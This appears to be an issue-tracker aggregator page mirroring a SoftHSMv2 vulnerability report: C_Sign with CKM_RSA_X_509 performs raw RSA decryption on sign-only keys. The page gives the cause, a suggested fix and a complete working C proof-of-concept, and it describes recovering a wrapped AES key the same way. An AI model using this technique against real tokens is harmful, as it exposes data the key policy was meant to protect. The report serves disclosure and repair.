C_Sign(CKM_RSA_X_509) decrypts and unwraps with a sign-only key
まだ誰も着手していません。
評価
- 難易度
- 2/5
- 見積もり時間
- 1〜3時間
- 初心者へのやさしさ
- 57/100
調査の方向性
Start in src/lib/SoftHSM.cpp at AsymSignInit, which the issue identifies as checking only CKA_SIGN for CKM_RSA_X_509; then inspect the raw RSA branch in src/lib/crypto/OSSLRSA.cpp. Reproduce the reported behavior and verify that a sign-only key gets CKR_KEY_FUNCTION_NOT_PERMITTED for CKM_RSA_X_509, while hash-and-sign mechanisms remain unaffected.
索引モデルが issue の本文から書いたものです。
説明
Component: SoftHSMv2 PKCS#11 module
Seen on: 2.6.1 and current develop (f59e8f4)
Severity: Medium. High only if this library is the usage-policy gate in front of a KMS and Sign is granted more widely than Decrypt.
Revalidated: both programs below exit 1.
Summary
CKA_DECRYPT=false and CKA_UNWRAP=false do not stop raw RSA decryption. C_Sign(CKM_RSA_X_509) is RSA_NO_PADDING private exponentiation, the same operation as decrypt.
A private key created as sign-only still works:
| Attribute | Value |
|---|---|
CKA_SIGN |
true |
CKA_DECRYPT |
false |
CKA_UNWRAP |
false |
CKA_MODIFIABLE |
false |
CKA_SENSITIVE |
true |
CKA_EXTRACTABLE |
false |
CKA_ALLOWED_MECHANISMS |
absent (empty default = every built-in mechanism) |
C_DecryptInit and C_UnwrapKey correctly return CKR_KEY_FUNCTION_NOT_PERMITTED (0x68). C_SignInit + C_Sign(CKM_RSA_X_509) returns CKR_OK and the plaintext.
Impact
A caller who can already C_Sign on that key can also:
- Decrypt
CKM_RSA_X_509ciphertexts. - Recover a secret from a
CKM_RSA_PKCSwrap blob (strip PKCS#1 v1.5 type-2 padding from the raw RSA output).
That is extra confidentiality impact, not a new authentication boundary. The caller can already forge signatures. It matters when something was encrypted or key-wrapped to that public key and CKA_DECRYPT=false / CKA_UNWRAP=false was supposed to forbid reading it.
Worst practical case: CMS/S/MIME or other RSA-PKCS key transport to a sign-only certificate, or SoftHSM used as a network/multi-tenant PKCS#11 front-end (p11-kit server, pkcs11-proxy, app-facing KMS) where Sign is a wider grant than Decrypt. A pure code-signing key that nothing encrypts to has no extra impact.
Not affected:
CKM_SHA256_RSA_PKCS/ PSS. Those are not raw RSA.- ECDSA
CKA_SIGNvsCKA_DERIVE: the wrong operation returns0x68. CKA_ALLOWED_MECHANISMSset at creation to hash-and-sign only:CKM_RSA_X_509returnsCKR_MECHANISM_INVALID(0x70).
libp11’s own RSA keygen sets CKA_DECRYPT=true, so that path is not sign-only. The hole is keys created with decrypt/unwrap explicitly off and no mechanism allow-list. pkcs11-tool --usage-sign is that configuration.
Cause
AsymSignInit checks only CKA_SIGN (src/lib/SoftHSM.cpp). For CKM_RSA_X_509 it selects AsymMech::RSA.
OSSLRSA::sign then does:
EVP_PKEY_sign_init(ctx);
EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_NO_PADDING);
EVP_PKEY_sign(ctx, ...);
(src/lib/crypto/OSSLRSA.cpp, raw-RSA branch). That is decryption. Empty CKA_ALLOWED_MECHANISMS is treated as “allow every built-in mechanism” in isMechanismPermitted.
Repro 1 — raw decrypt
Exit 1 = bug present.
cc -O0 -g -std=c99 -D_GNU_SOURCE -ldl repro.c -o repro
./repro /usr/lib/softhsm/libsofthsm2.so
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pkcs11.h>
static CK_FUNCTION_LIST_PTR p11;
static void die(const char *m, CK_RV rv) {
fprintf(stderr, "%s: 0x%lx\n", m, (unsigned long)rv);
exit(2);
}
int main(int argc, char **argv) {
const char *mod = argc > 1 ? argv[1] : "/usr/lib/softhsm/libsofthsm2.so";
const char *work = "/tmp/softhsm-x509-sign-decrypt";
char conf[512], td[512];
CK_SESSION_HANDLE h = 0;
CK_SLOT_ID slot, *slots;
CK_ULONG ns = 0, bits = 2048, ctl, rl;
CK_OBJECT_HANDLE pub = 0, priv = 0;
CK_BBOOL t = CK_TRUE, f = CK_FALSE;
CK_UTF8CHAR label[32];
CK_BYTE pt[256], ct[256], rec[512];
CK_RV rv, dinit, sinit, sign;
CK_MECHANISM gen = { CKM_RSA_PKCS_KEY_PAIR_GEN, NULL, 0 };
CK_MECHANISM x509 = { CKM_RSA_X_509, NULL, 0 };
CK_ATTRIBUTE pubt[] = {
{ CKA_MODULUS_BITS, &bits, sizeof(bits) },
{ CKA_ENCRYPT, &t, sizeof(t) },
{ CKA_VERIFY, &t, sizeof(t) },
{ CKA_TOKEN, &f, sizeof(f) },
};
CK_ATTRIBUTE prt[] = {
{ CKA_SIGN, &t, sizeof(t) },
{ CKA_DECRYPT, &f, sizeof(f) },
{ CKA_UNWRAP, &f, sizeof(f) },
{ CKA_MODIFIABLE, &f, sizeof(f) },
{ CKA_SENSITIVE, &t, sizeof(t) },
{ CKA_EXTRACTABLE, &f, sizeof(f) },
{ CKA_TOKEN, &f, sizeof(f) },
{ CKA_PRIVATE, &t, sizeof(t) },
};
mkdir(work, 0700);
snprintf(td, sizeof(td), "%s/tokens", work);
mkdir(td, 0700);
snprintf(conf, sizeof(conf), "%s/softhsm2.conf", work);
FILE *fp = fopen(conf, "w");
fprintf(fp, "directories.tokendir = %s\nobjectstore.backend = file\nlog.level = ERROR\n", td);
fclose(fp);
setenv("SOFTHSM2_CONF", conf, 1);
void *dl = dlopen(mod, RTLD_NOW);
CK_C_GetFunctionList getfl = dlsym(dl, "C_GetFunctionList");
if (!getfl || getfl(&p11) != CKR_OK) die("C_GetFunctionList", 1);
CK_C_INITIALIZE_ARGS ia;
memset(&ia, 0, sizeof(ia));
ia.flags = CKF_OS_LOCKING_OK;
if ((rv = p11->C_Initialize(&ia)) != CKR_OK) die("C_Initialize", rv);
p11->C_GetSlotList(CK_FALSE, NULL, &ns);
slots = calloc(ns ? ns : 1, sizeof(*slots));
p11->C_GetSlotList(CK_FALSE, slots, &ns);
slot = slots[0];
free(slots);
memset(label, ' ', 32);
memcpy(label, "x509-sep", 8);
if ((rv = p11->C_InitToken(slot, (CK_UTF8CHAR *)"12345678", 8, label)) != CKR_OK)
die("C_InitToken", rv);
p11->C_OpenSession(slot, CKF_SERIAL_SESSION | CKF_RW_SESSION, NULL, NULL, &h);
p11->C_Login(h, CKU_SO, (CK_UTF8CHAR *)"12345678", 8);
p11->C_InitPIN(h, (CK_UTF8CHAR *)"1234", 4);
p11->C_Logout(h);
p11->C_CloseSession(h);
p11->C_OpenSession(slot, CKF_SERIAL_SESSION | CKF_RW_SESSION, NULL, NULL, &h);
p11->C_Login(h, CKU_USER, (CK_UTF8CHAR *)"1234", 4);
if ((rv = p11->C_GenerateKeyPair(h, &gen, pubt, 4, prt, 8, &pub, &priv)) != CKR_OK)
die("C_GenerateKeyPair", rv);
memset(pt, 0, sizeof(pt));
pt[0] = 0x01;
memcpy(pt + 240, "sign-is-decrypt", 15);
if ((rv = p11->C_EncryptInit(h, &x509, pub)) != CKR_OK) die("C_EncryptInit", rv);
ctl = sizeof(ct);
if ((rv = p11->C_Encrypt(h, pt, sizeof(pt), ct, &ctl)) != CKR_OK) die("C_Encrypt", rv);
dinit = p11->C_DecryptInit(h, &x509, priv);
sinit = p11->C_SignInit(h, &x509, priv);
rl = sizeof(rec);
sign = (sinit == CKR_OK) ? p11->C_Sign(h, ct, ctl, rec, &rl) : sinit;
printf("DecryptInit=0x%lx SignInit=0x%lx Sign=0x%lx len=%lu\n",
(unsigned long)dinit, (unsigned long)sinit, (unsigned long)sign, (unsigned long)rl);
if (dinit == CKR_KEY_FUNCTION_NOT_PERMITTED && sign == CKR_OK &&
rl == sizeof(pt) && memcmp(rec, pt, sizeof(pt)) == 0) {
fprintf(stderr, "BUG PRESENT\n");
return 1;
}
fprintf(stderr, "not reproduced\n");
return 0;
}
Observed:
DecryptInit=0x68 SignInit=0x0 Sign=0x0 len=256
BUG PRESENT
Repro 2 — RSA-PKCS wrap recovered
Same key attributes. C_WrapKey(CKM_RSA_PKCS) of a 16-byte AES key under the public key returns CKR_OK. C_UnwrapKey and C_DecryptInit(CKM_RSA_PKCS) both return 0x68. C_Sign(CKM_RSA_X_509) on the 256-byte wrap blob returns CKR_OK. Stripping 00 02 ... 00 yields the AES key.
Observed: Unwrap=0x68 DecryptInit=0x68 Sign=0x0 stripped=16 match=1.
Suggested fix
In AsymSignInit, if pMechanism->mechanism == CKM_RSA_X_509 and CKA_DECRYPT is false, return CKR_KEY_FUNCTION_NOT_PERMITTED.
Hash-and-sign mechanisms do not need this. An application that truly wants raw RSA “signatures” must set CKA_DECRYPT=true, which matches the capability.
App workaround, for keys not yet created: set CKA_ALLOWED_MECHANISMS to the hash-and-sign mechanisms only. That cannot be added later on a CKA_MODIFIABLE=false key, and the default empty list does not do it.
- 主要言語
- C++
- スター
- 1.1k
- フォーク
- 434
- 平均マージ
- 12日 14時間
- マージ済み PR(30日)
- 2
環境構築
このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
softhsm/SoftHSMv2 のほかの issue
-
C_DigestKey digests a sensitive EC private key's CKA_VALUE: no check that the object is a secret keyオープン
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
-
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
-
難易度 4/5 3〜5日 初心者へのやさしさ 54/100
-
難易度 4/5 3〜5日 初心者へのやさしさ 56/100
softhsm/SoftHSMv2 の issue をすべて見る
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 88/100
メンテナーはふだん 1 日以内に返信
-
bug test
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
OpenAssetIO/OpenAssetIO#1527 ·
-
難易度 2/5 1〜3時間 初心者へのやさしさ 66/100
ROCm/rocm-systems#15475 ·
メンテナーはふだん 2 日以内に返信
-
難易度 1/5 1時間未満 初心者へのやさしさ 68/100
Sendspin/sendspin-cpp#257 ·
メンテナーはふだん 1 日以内に返信
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
pocoproject/poco#5664 ·
メンテナーはふだん 2 日以内に返信